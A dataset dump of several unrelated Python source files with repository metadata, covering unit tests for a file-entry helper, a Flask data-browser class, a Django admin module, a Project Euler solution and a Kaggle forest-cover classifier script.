elements returned by the get_entry method.\n \"\"\"\n \n append_entry(self.path, self.el1)\n append_entry(self.path, self.el2)\n el1 = get_entry(self.path, 0)\n el2 = get_entry(self.path, 1)\n \n self.assertEqual(el1, self.el1)\n self.assertEqual(el2, self.el2)\n\n def test_append_and_remove_entry(self):\n \"\"\"\n Checks out if after removing entries the remained elements are corrects\n \"\"\"\n \n for i in range(10):\n append_entry(self.path, self.el1)\n append_entry(self.path, self.el2)\n \n num_el_to_remove = random.randint(0,19)\n for i in range(num_el_to_remove):\n remove_entry(self.path, random.randint(0, get_len(self.path)-1))\n \n self.assertEqual(20-num_el_to_remove, get_len(self.path))\n \n\n \n ########### NEGATIVE TESTS ##########\n def test_path_not_string(self):\n \"\"\"\n The functions raise AttributeError whether the path is not a string.\n \"\"\"\n self.assertRaises(AttributeError, append_entry, 2, self.el1)\n self.assertRaises(AttributeError, remove_entry, 2, self.el1)\n self.assertRaises(AttributeError, get_entry, 2, self.el1)\n self.assertRaises(AttributeError, get_list, 2)\n self.assertRaises(AttributeError, get_len, 2)\n \n def test_is_directory(self):\n \"\"\"\n Checks out if the function raises Exception when the path specified is a directory.\n Test on append_entry, remove_entry, get_index_, get_list\n \"\"\"\n self.assertRaises(DirectoryPathError, append_entry, '/tmp/', self.el1)\n self.assertRaises(DirectoryPathError, remove_entry, '/tmp/', self.el1)\n self.assertRaises(DirectoryPathError, get_entry, '/tmp/', self.el1)\n self.assertRaises(DirectoryPathError, get_list, '/tmp/')\n self.assertRaises(DirectoryPathError, get_len, '/tmp/')\n\n def test_out_of_range(self):\n \"\"\"\n Checks out if the index specified by the user is out of range raising the exception\n \"\"\"\n append_entry(self.path, self.el1)\n append_entry(self.path, self.el2)\n append_entry(self.path, self.el1)\n append_entry(self.path, self.el2)\n \n self.assertRaises(IndexError, get_entry, self.path, -1)\n self.assertRaises(IndexError, get_entry, self.path, 4)\n \n self.assertRaises(IndexError, remove_entry, self.path, -1)\n self.assertRaises(IndexError, remove_entry, self.path, 4) \n \n pass\n \n\nclass PropertyTestCase(unittest.TestCase):\n def setUp(self):\n self.path = '/tmp/prop_file'\n f = open(self.path, 'w')\n f.write('# qst e\\' una prova\\n')\n f.write('var = \"value\"')\n f.close()\n self.prop = Property(self.path)\n \n self.path_sess = '/tmp/prop_file_session'\n self.path_sess_dir = '/tmp/prop_file_session.d'\n f = open(self.path_sess, 'w')\n f.write('# qst e\\' una prova\\n')\n f.close()\n os.mkdir(self.path_sess_dir)\n f_s = open(self.path_sess_dir+'/test', 'w')\n f_s.write('var = 45')\n f_s.close()\n self.prop_sess = Property(self.path_sess, True)\n\n \n def tearDown(self):\n \"\"\"\n Deletes the file for the next tests.\n \"\"\"\n if os.path.exists(self.path):\n os.system('rm '+ self.path)\n if os.path.exists(self.path_sess_dir):\n os.system('rm -rf '+ self.path_sess_dir)\n \n def test_get_prop(self):\n el = self.prop.get('var')\n self.assertEqual(el, 'value')\n \n def test_get_error(self):\n el = self.prop.get('var_not_exist')\n self.assertEqual(el, None)\n \n def test_get_prop_sess(self):\n el = self.prop_sess.get('var', 'test')\n self.assertEqual(el, 45)\n \n def test_get_error_sess(self):\n el = self.prop_sess.get('var_not_exist')\n self.assertEqual(el, None)\n \nif __name__=='__main__':\n unittest.main()\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":695,"cells":{"__id__":{"kind":"number","value":12764642832362,"string":"12,764,642,832,362"},"blob_id":{"kind":"string","value":"f76b66a49c0ee4ea0b19db87c8fb46886156eaa6"},"directory_id":{"kind":"string","value":"64fb7c0c2f91c6e8d19dac7cde5f79a7d0fa852a"},"path":{"kind":"string","value":"/flask_databrowser/data_browser.py"},"content_id":{"kind":"string","value":"8113655e8851a9d54b702ddd347f57fa1a741cff"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"PuZheng/Flask-DataBrowser"},"repo_url":{"kind":"string","value":"https://github.com/PuZheng/Flask-DataBrowser"},"snapshot_id":{"kind":"string","value":"cf006b6c4997347ff4fa355ef5eee70052d7dfe8"},"revision_id":{"kind":"string","value":"cc116e4c96a57b23cc25a1709154a65c87ea3a7d"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-06-26T08:35:09.179020","string":"2020-06-26T08:35:09.179020"},"revision_date":{"kind":"timestamp","value":"2014-06-10T05:12:34","string":"2014-06-10T05:12:34"},"committer_date":{"kind":"timestamp","value":"2014-06-10T05:12:34","string":"2014-06-10T05:12:34"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#-*- coding:utf-8 -*-\nimport os\nfrom flask import request, Blueprint\nfrom flask.ext.principal import PermissionDenied\n\nfrom flask.ext.databrowser.col_spec import LinkColumnSpec\nfrom flask.ext.databrowser.utils import (url_for_other_page,\n urlencode_filter,\n truncate_str)\nfrom flask.ext.databrowser.constants import (WEB_PAGE, WEB_SERVICE,\n BACK_URL_PARAM)\n\n\nclass DataBrowser(object):\n def __init__(self, app, logger=None, upload_folder='uploads',\n plugins=None):\n self.logger = logger or app.logger\n self.blueprint = Blueprint(\"data_browser__\", __name__,\n static_folder=\"static\",\n template_folder=\"templates\")\n for plugin in (plugins or []):\n self._enable_plugin(plugin)\n self.app = app\n self._init_app()\n self.__registered_view_map = {}\n self.upload_folder = upload_folder\n if not os.path.exists(upload_folder):\n os.makedirs(upload_folder)\n\n def _init_app(self):\n self.app.jinja_env.globals['url_for_other_page'] = url_for_other_page\n self.app.jinja_env.filters['urlencode'] = urlencode_filter\n self.app.jinja_env.filters['truncate'] = truncate_str\n # register it for using the templates of data browser\n self.app.register_blueprint(self.blueprint,\n url_prefix=\"/data_browser__\")\n\n def register_modell(self, modell, blueprint=None):\n from flask.ext.databrowser.model_view import ModelView\n\n return self.register_model_view(ModelView(modell), blueprint)\n\n def register_model_view(self, model_view, blueprint, extra_params=None):\n model_view.blueprint = blueprint\n model_view.data_browser = self\n model_view.extra_params = extra_params or {}\n\n if model_view.serv_type & WEB_PAGE:\n model_view.add_page_url_rule()\n\n #if model_view.serv_type & WEB_SERVICE:\n # model_view.add_api_url_rule()\n\n blueprint.before_request(model_view.before_request_hook)\n blueprint.after_request(model_view.after_request_hook)\n\n self.__registered_view_map[model_view.modell.token] = model_view\n\n def get_object_link_column_spec(self, modell, label=None):\n try:\n model_view = self.__registered_view_map[modell.token]\n model_view.try_view(modell)\n\n #TODO no link here\n return LinkColumnSpec(col_name=model_view.modell.primary_key,\n formatter=lambda v, obj:\n model_view.url_for_object(obj, label=label,\n url=request.url),\n anchor=lambda v: unicode(v), label=label)\n\n except (KeyError, PermissionDenied):\n return None\n\n def search_create_url(self, modell, target, on_fly=1):\n try:\n model_view = self.__registered_view_map[modell.token]\n model_view.try_create()\n import urllib2\n return model_view.url_for_object(None, on_fly=on_fly,\n target=target)\n except (KeyError, PermissionDenied):\n return None\n\n def search_obj_url(self, modell):\n '''\n note!!! it actually return an object url generator\n '''\n try:\n model_view = self.__registered_view_map[modell.token]\n\n def f(pk):\n obj = modell.query.get(pk)\n try:\n model_view.try_view([model_view.expand_model(obj)])\n return model_view.url_for_object(obj,\n **{BACK_URL_PARAM:\n request.url})\n except PermissionDenied:\n return None\n return f\n except (KeyError, PermissionDenied):\n return None\n\n def _enable_plugin(self, plugin_name):\n\n pkg = __import__('flask_databrowser.plugins.' + plugin_name,\n fromlist=[plugin_name])\n pkg.setup(self)\n\n def grant_all(self, identity):\n for model_view in self.__registered_view_map.values():\n model_view.grant_all(identity)\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":696,"cells":{"__id__":{"kind":"number","value":1468878843606,"string":"1,468,878,843,606"},"blob_id":{"kind":"string","value":"f7ac6db97dc5a0cc4f81035da5542daec96f554b"},"directory_id":{"kind":"string","value":"d93bb6491d569e53c48db40174ba30cab6c4c7ce"},"path":{"kind":"string","value":"/apps/qp/admin.py"},"content_id":{"kind":"string","value":"56d2e46bd7e5e2953eb8375e49b625a5dc915e8f"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"ptraverse/quidprize"},"repo_url":{"kind":"string","value":"https://github.com/ptraverse/quidprize"},"snapshot_id":{"kind":"string","value":"8c9878cc264cd5ed4e1a2e5f8de39b93b9e8b402"},"revision_id":{"kind":"string","value":"d1ba09c66add97ab7f5d3813d0de75da0e306259"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-12-01T11:43:04.034481","string":"2020-12-01T11:43:04.034481"},"revision_date":{"kind":"timestamp","value":"2014-06-01T02:25:27","string":"2014-06-01T02:25:27"},"committer_date":{"kind":"timestamp","value":"2014-06-01T02:25:27","string":"2014-06-01T02:25:27"},"github_id":{"kind":"number","value":15962873,"string":"15,962,873"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":1,"string":"1"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"from apps.qp.models import *\nfrom django.contrib import admin\n\n\nclass BusinessAdmin(admin.ModelAdmin):\n fieldsets = (\n (None, {\n 'fields': ('auth_user', 'name', 'logo','contact_person', 'contact_phone')\n }),\n )\n\nclass DocumentAdmin(admin.ModelAdmin):\n fieldsets = (\n (None, {\n 'fields': ('docfile', )\n }),\n )\n\nclass RaffleAdmin(admin.ModelAdmin):\n fieldsets = (\n (None, {\n 'fields': ('business', 'target_url', 'date_created', 'expiry_date')\n }),\n )\n\nclass TicketAdmin(admin.ModelAdmin):\n fieldsets = (\n (None, {\n 'fields': ('raffle', 'hash', 'activation_email', 'date_activated', 'parent_ticket', 'is_root_ticket')\n }),\n )\n\nadmin.site.register(Business, BusinessAdmin)\nadmin.site.register(Document, DocumentAdmin)\nadmin.site.register(Raffle, RaffleAdmin)\nadmin.site.register(Ticket, TicketAdmin)"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":697,"cells":{"__id__":{"kind":"number","value":12549894480273,"string":"12,549,894,480,273"},"blob_id":{"kind":"string","value":"66707b275d14f83fbbd745ee58d99e2f4e479183"},"directory_id":{"kind":"string","value":"dace78ced39f4596edcb5cfe998dfcb3dd49e231"},"path":{"kind":"string","value":"/problem005.py"},"content_id":{"kind":"string","value":"1afe69cb367eaae2f224cabddf585e876e22252d"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"Torqueware/Project-Euler"},"repo_url":{"kind":"string","value":"https://github.com/Torqueware/Project-Euler"},"snapshot_id":{"kind":"string","value":"33fe50d7eae8a36326d9821a622ed30f3d40f97b"},"revision_id":{"kind":"string","value":"4296e2ce0495543f4214623118c49b646d9c6119"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2016-09-08T01:17:22.896979","string":"2016-09-08T01:17:22.896979"},"revision_date":{"kind":"timestamp","value":"2014-11-06T01:32:23","string":"2014-11-06T01:32:23"},"committer_date":{"kind":"timestamp","value":"2014-11-06T01:32:23","string":"2014-11-06T01:32:23"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#!/usr/bin/python3.3\n\nimport math\n#answer math.factorial(20)\nanswer = 2*3*4*5*6*7*11*13*17*19\ndivisors = [20,19,18,17,16,15,14,13,12,11,10,9,8,7,6,5,4,3,2]\n\n#primes 1 2 3 5 7\n# 11 13 17 19\n\n#total 1 2 3 4 5 6 7 8 9 10\n# 11 12 13 14 15 16 17 18 19 20\ndef divisible(n):\n for x in divisors:\n if n%x != 0:\n return False\n return True\n\nfor n in range(answer, 0, -1):\n if divisible(n):\n print(n)\n answer = n\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":698,"cells":{"__id__":{"kind":"number","value":16965120828225,"string":"16,965,120,828,225"},"blob_id":{"kind":"string","value":"dc2a765395402c894b389b72487d64bcf1971c78"},"directory_id":{"kind":"string","value":"e2ef034089b58b68f4068237cdce64b8222aa89f"},"path":{"kind":"string","value":"/g.py"},"content_id":{"kind":"string","value":"307b67ce42e493083dbefcaa99b3b9906c701f5e"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"nisiotis/flask_app"},"repo_url":{"kind":"string","value":"https://github.com/nisiotis/flask_app"},"snapshot_id":{"kind":"string","value":"36c35b18b40b1dea1c67fed2d49d84cfa9361014"},"revision_id":{"kind":"string","value":"c07afa28b09c496eb41e721f61ccbaf9fe4a35da"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-19T06:20:06.785145","string":"2021-01-19T06:20:06.785145"},"revision_date":{"kind":"timestamp","value":"2013-06-27T11:42:02","string":"2013-06-27T11:42:02"},"committer_date":{"kind":"timestamp","value":"2013-06-27T11:42:02","string":"2013-06-27T11:42:02"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"\ndef do_g():\n from flask import send_file\n from flask import Response\n from matplotlib.pyplot import figure\n from matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas\n fig1 = figure(figsize=(5.33,4), facecolor = 'white')\n ax = fig1.add_axes([0.02,0.02,0.98,0.98], aspect='equal')\n\n # Some plotting to ax\n\n canvas=FigureCanvas(fig1)\n res = Response(response = send_file(canvas.savefig('test.png'), mimetype=\"image/png\"),\n status=200,\n mimetype=\"image/png\")\n \n fig1.clear()\n return res\n\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":699,"cells":{"__id__":{"kind":"number","value":8452495643057,"string":"8,452,495,643,057"},"blob_id":{"kind":"string","value":"c2aceb96047998c29f623023ca7972b9103c7e61"},"directory_id":{"kind":"string","value":"03bee32ab472d08388deb3d4896b37752c769f2b"},"path":{"kind":"string","value":"/Forest/pandaForest.py"},"content_id":{"kind":"string","value":"cb7bfcd5175c629263f1faecf538017f62235887"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"mitsubachimaya/Kaggle"},"repo_url":{"kind":"string","value":"https://github.com/mitsubachimaya/Kaggle"},"snapshot_id":{"kind":"string","value":"91799ccd0e6e7343f64f74fbc48356b2654c0b76"},"revision_id":{"kind":"string","value":"abb33ed51c1fa93beeb3ff5e2f3623487b3c6073"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-09-27T05:21:29.640769","string":"2021-09-27T05:21:29.640769"},"revision_date":{"kind":"timestamp","value":"2014-11-26T21:05:45","string":"2014-11-26T21:05:45"},"committer_date":{"kind":"timestamp","value":"2014-11-26T21:05:45","string":"2014-11-26T21:05:45"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"import pandas as pd\nfrom sklearn import ensemble\nimport numpy as np\n\ndef LoadData(loc):\n\tprint(\"Load data\")\n\tdf = pd.read_csv(loc)\n\treturn df;\n\ndef FeatureEngineering(df):\n\tprint(\"Feature engineering\")\n\tdf['dist2water'] = pd.Series(df['Horizontal_Distance_To_Hydrology']*df['Horizontal_Distance_To_Hydrology']\n\t+df['Vertical_Distance_To_Hydrology']*df['Vertical_Distance_To_Hydrology'], index=df.index)\n\tdf['d11'] = pd.Series(abs(df['Horizontal_Distance_To_Hydrology']+df['Horizontal_Distance_To_Roadways']), index=df.index)\n\tdf['d12'] = pd.Series(abs(df['Horizontal_Distance_To_Hydrology']-df['Horizontal_Distance_To_Roadways']), index=df.index)\n\tdf['d21'] = pd.Series(abs(df['Horizontal_Distance_To_Hydrology']+df['Horizontal_Distance_To_Fire_Points']), index=df.index)\n\tdf['d22'] = pd.Series(abs(df['Horizontal_Distance_To_Hydrology']-df['Horizontal_Distance_To_Fire_Points']), index=df.index)\n\tdf['d31'] = pd.Series(abs(df['Horizontal_Distance_To_Roadways']+df['Horizontal_Distance_To_Fire_Points']), index=df.index)\n\tdf['d32'] = pd.Series(abs(df['Horizontal_Distance_To_Roadways']-df['Horizontal_Distance_To_Fire_Points']), index=df.index)\n\tdf['EVDtH'] = df.Elevation-df.Vertical_Distance_To_Hydrology\n\tdf['EHDtH'] = df.Elevation-df.Horizontal_Distance_To_Hydrology*0.2\n\tdf['ell1'] = pd.Series(df['Hillshade_3pm']*df['Hillshade_3pm']+df['Hillshade_9am']*df['Hillshade_9am'], index=df.index)\n\tdf['ell2'] = pd.Series(df['Hillshade_3pm']*df['Hillshade_3pm']+df['Hillshade_Noon']*df['Hillshade_Noon'], index=df.index)\n\tdf['ell3'] = pd.Series(df['Hillshade_Noon']*df['Hillshade_Noon']+df['Hillshade_9am']*df['Hillshade_9am'], index=df.index)\n\tdf['shaderatio1'] = pd.Series(df['Hillshade_9am']/(df['Hillshade_Noon']+1), index=df.index)\n\tdf['shaderatio2'] = pd.Series(df['Hillshade_3pm']/(df['Hillshade_Noon']+1), index=df.index)\n\tdf['shaderatio3'] = pd.Series(df['Hillshade_3pm']/(df['Hillshade_9am']+1.0), index=df.index)\n\tdf['meanShade'] = pd.Series(df['Hillshade_9am']+df['Hillshade_Noon']+df['Hillshade_3pm'], index=df.index)\n\tdf['Highwater'] = df.Vertical_Distance_To_Hydrology < 0\n\tdf['VertDist'] = df.Vertical_Distance_To_Hydrology.abs();\n\tdf['ratiodist1'] = pd.Series(abs(df['Horizontal_Distance_To_Hydrology']/(abs(df['Vertical_Distance_To_Hydrology'])+1)), index=df.index)\n\tdf['ratiodist2'] = pd.Series(abs(df['Horizontal_Distance_To_Hydrology']/(df['Horizontal_Distance_To_Fire_Points']+1)), index=df.index)\n\tdf['ratiodist3'] = pd.Series(abs(df['Horizontal_Distance_To_Hydrology']/(df['Horizontal_Distance_To_Roadways']+1)), index=df.index)\n\tdf['ratiodist4'] = pd.Series(abs(df['Horizontal_Distance_To_Fire_Points']/(df['Horizontal_Distance_To_Roadways']+1)), index=df.index)\n\tdf['maxdist'] = pd.Series(df[['Horizontal_Distance_To_Hydrology','Horizontal_Distance_To_Fire_Points',\\\n\t'Horizontal_Distance_To_Roadways']].max(axis=1), index=df.index)\n\t\n\treturn;\n\n\ndef TrainForest(df_train, ntree):\n\tfeature_cols = [col for col in df_train.columns if col not in ['Cover_Type','Id']]\n\tX_train = df_train[feature_cols]\n\ty = df_train['Cover_Type']\n\ttest_ids = df_test['Id']\n\tprint(\"Training...\")\n\tclf = ensemble.ExtraTreesClassifier(n_estimators = ntree, n_jobs = -1,verbose=1)\n\tclf.fit(X_train, y)\n\treturn clf;\n\ndef DefTestSet(df_test):\n\tfeature_cols = [col for col in df_test.columns if col not in ['Cover_Type','Id']]\n\ttest_ids = df_test['Id']\n\tX_test = df_test[feature_cols]\n\treturn test_ids, X_test;\n\ndef ExportData(loc_submission,clf,X_test,test_ids):\n\tprint(\"Predicting\")\n\ty_test = clf.predict(X_test)\n\tprint(\"Writing data...\")\n\twith open(loc_submission, \"wb\") as outfile:\n\t\toutfile.write(\"Id,Cover_Type\\n\")\n\t\tfor e, val in enumerate(list(y_test)):\n\t\t\toutfile.write(\"%s,%s\\n\"%(test_ids[e],val))\n\treturn y_test;\n\n\n################\n##### MAIN #####\n################\n\nloc_train = \"train.csv\"\nloc_test = \"test.csv\"\nloc_submission = \"kaggle.forest.submission_features_new.csv\"\n\n# Loading data\ndf_train = LoadData(loc_train);\ndf_test = LoadData(loc_test);\n\n# Features\nFeatureEngineering(df_train);\nFeatureEngineering(df_test);\n\nrf = TrainForest(df_train,2000);\n\ntest_ids, X_test = DefTestSet(df_test);\n#y_test = rf.predict(X_test);\n#df_test['Cover_Type'] = pd.Series(y_test,index=df_test.index);\n\n#df_combi = df_train.append(df_test);\n#rf2 = TrainForest(df_combi,5);\n\nExportData(loc_submission,rf,X_test,test_ids);\npd.DataFrame(rf.feature_importances_,index=X_test.columns).sort([0], ascending=False) [:10]\n\n\n\n\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}}],"truncated":false,"partial":false},"paginationData":{"pageIndex":6,"numItemsPerPage":100,"numTotalItems":1000,"offset":600,"length":100}},"jwt":"eyJhbGciOiJFZERTQSJ9.eyJyZWFkIjp0cnVlLCJwZXJtaXNzaW9ucyI6eyJyZXBvLmNvbnRlbnQucmVhZCI6dHJ1ZX0sImlhdCI6MTc1ODQwMTE3Niwic3ViIjoiL2RhdGFzZXRzL2xvdWJuYWJubC9vbGRfcHkiLCJleHAiOjE3NTg0MDQ3NzYsImlzcyI6Imh0dHBzOi8vaHVnZ2luZ2ZhY2UuY28ifQ.PmWLma9HYAuQZu3zo-MJAyNDqtOXjx3wPLhNr4NtGf6jgXagGraNIwh1lT6edxwtfLY6hQZ2cWf5XNdTI0C-CQ","displayUrls":true},"discussionsStats":{"closed":0,"open":0,"total":0},"fullWidth":true,"hasGatedAccess":true,"hasFullAccess":true,"isEmbedded":false,"savedQueries":{"community":[],"user":[]}}">
__id__
int64
17.2B
19,722B
blob_id
stringlengths
40
40
directory_id
stringlengths
40
40
path
stringlengths
4
133
content_id
stringlengths
40
40
detected_licenses
list
license_type
stringclasses
3 values
repo_name
stringlengths
7
73
repo_url
stringlengths
26
92
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
branch_name
stringclasses
12 values
visit_date
timestamp[ns]
revision_date
timestamp[ns]
committer_date
timestamp[ns]
github_id
int64
61.3k
283M
star_events_count
int64
0
47
fork_events_count
int64
0
15
gha_license_id
stringclasses
5 values
gha_fork
bool
2 classes
gha_event_created_at
timestamp[ns]
gha_created_at
timestamp[ns]
gha_updated_at
timestamp[ns]
gha_pushed_at
timestamp[ns]
gha_size
int64
0
5.76M
gha_stargazers_count
int32
0
82
gha_forks_count
int32
0
25
gha_open_issues_count
int32
0
80
gha_language
stringclasses
5 values
gha_archived
bool
1 class
gha_disabled
bool
1 class
content
stringlengths
19
187k
src_encoding
stringclasses
4 values
language
stringclasses
1 value
is_vendor
bool
1 class
is_generated
bool
1 class
year
int64
2k
2.01k
7,026,566,510,769
4011ceb14d47b482360011ebb8afcfb28c9efd72
c8d61e5beefe4933ba5c2c69c9fcc1011df4bb73
/pi_output_control.py
5c822eb6928be41ccc6cd5d71cd1bddd59dda811
[ "MIT" ]
permissive
jaydlawrence/PiFaceControl
https://github.com/jaydlawrence/PiFaceControl
9bb8944fa05331b924362ea6b42b2ae64f722842
0546db9c9bc0503f60f0cd9d9eedd41d670344a8
refs/heads/master
2020-05-30T21:54:38.970070
2014-03-05T21:32:48
2014-03-05T21:32:48
null
0
0
null
null
null
null
null
null
null
null
null
null
null
null
null
from pifacedigitalio import PiFaceDigital from optparse import OptionParser parser = OptionParser() parser.add_option("-a","--action", dest="action", default="toggle", help="action to be taken: toggle, on, off. Default = toggle") parser.add_option("-n","--number", dest="number", type="int", default=0, help="which number output to change: 0 to 7. Default = 0") (opts, args) = parser.parse_args() if opts.action not in ["toggle", "on", "off"]: print('Action can only be "toggle", "on" or "off"') exit(-1) if opts.number > 7 or opts.number < 0: print('Number can only be an interger between 0 and 7') exit(-1) pi = PiFaceDigital(init_board=False) if opts.action == "on": pi.output_pins[opts.number].turn_on() elif opts.action == "off": pi.output_pins[opts.number].turn_off() else: pi.output_pins[opts.number].toggle()
UTF-8
Python
false
false
2,014
12,017,318,506,390
3cff076729278d3ea059edf86a71cf95226d7101
093ca08ef295c448760ede04573a5a71163c147f
/scrapy/selector/dummysel.py
8718f3311947cff997857302c13f31917760100d
[ "BSD-3-Clause" ]
permissive
aliscott/scrapy
https://github.com/aliscott/scrapy
1b83df3ef1d6b1d1d749f32ab81be01b8461cb8b
99bfd1e590f3854bb8b496f6b6437ad775edeaed
refs/heads/master
2022-10-11T07:55:54.263710
2012-07-04T11:36:16
2012-07-04T11:36:16
4,891,976
0
0
BSD-3-Clause
true
2022-09-20T10:28:27
2012-07-04T20:48:50
2020-07-03T17:42:59
2022-09-20T10:28:25
10,940
0
0
2
Python
false
false
""" Dummy selectors """ from .list import XPathSelectorList as XPathSelectorList __all__ = ['HtmlXPathSelector', 'XmlXPathSelector', 'XPathSelector', \ 'XPathSelectorList'] class XPathSelector(object): def __init__(self, *a, **kw): pass def _raise(self, *a, **kw): raise RuntimeError("No selectors backend available. " \ "Please install libxml2 or lxml") select = re = extract = register_namespace = __nonzero__ = _raise XmlXPathSelector = XPathSelector HtmlXPathSelector = XPathSelector
UTF-8
Python
false
false
2,012
11,733,850,693,209
e58ca391f3383fce8ffc3de11dcd4e05f841f8bf
4c3d797547a49f3fea6b1f35ed99aae68dd67f68
/utils/pickle_graph.py
8ed3a4ac68a579228cfaf09137334db55ebc5c30
[]
no_license
bumshmyak/spamless
https://github.com/bumshmyak/spamless
870a78a48a0d6e1c99a027b5f37fb42d88dd103c
c39140ee34e76e592543989fefa522f24c0775a1
refs/heads/master
2016-09-11T02:25:52.483283
2012-04-10T22:09:56
2012-04-10T22:09:56
3,689,196
0
1
null
null
null
null
null
null
null
null
null
null
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- import sys import networkx as nx input_file = open(sys.argv[1], 'r') G = nx.DiGraph() host_count = int(input_file.readline()) G.add_nodes_from(xrange(host_count)) u = 0 for line in input_file: line = line.strip('\r\n') if line: for edge in line.split(' '): v, w = [int(t) for t in edge.split(':')] G.add_edge(u, v, weight=w) u += 1 print G.number_of_nodes() print G.number_of_edges() nx.write_gpickle(G, sys.argv[2])
UTF-8
Python
false
false
2,012
12,824,772,357,860
1644b29f6d8190be5e2585feee94f0a70a47cbb0
5717e45d653a675a749dbd496b62c9852bef0cd2
/chef-repo/cookbooks/ycsb/files/default/generateChart.py
d6bfb9d832a41d02cad3f4d87b28e8fcca04d1da
[ "Apache-2.0" ]
permissive
myownthemepark/csde
https://github.com/myownthemepark/csde
b7dab355adaa7d2a54c01e5ca33035b8446021dc
11bc441b4e34fe24d76d357317f0736b5e7d350d
refs/heads/master
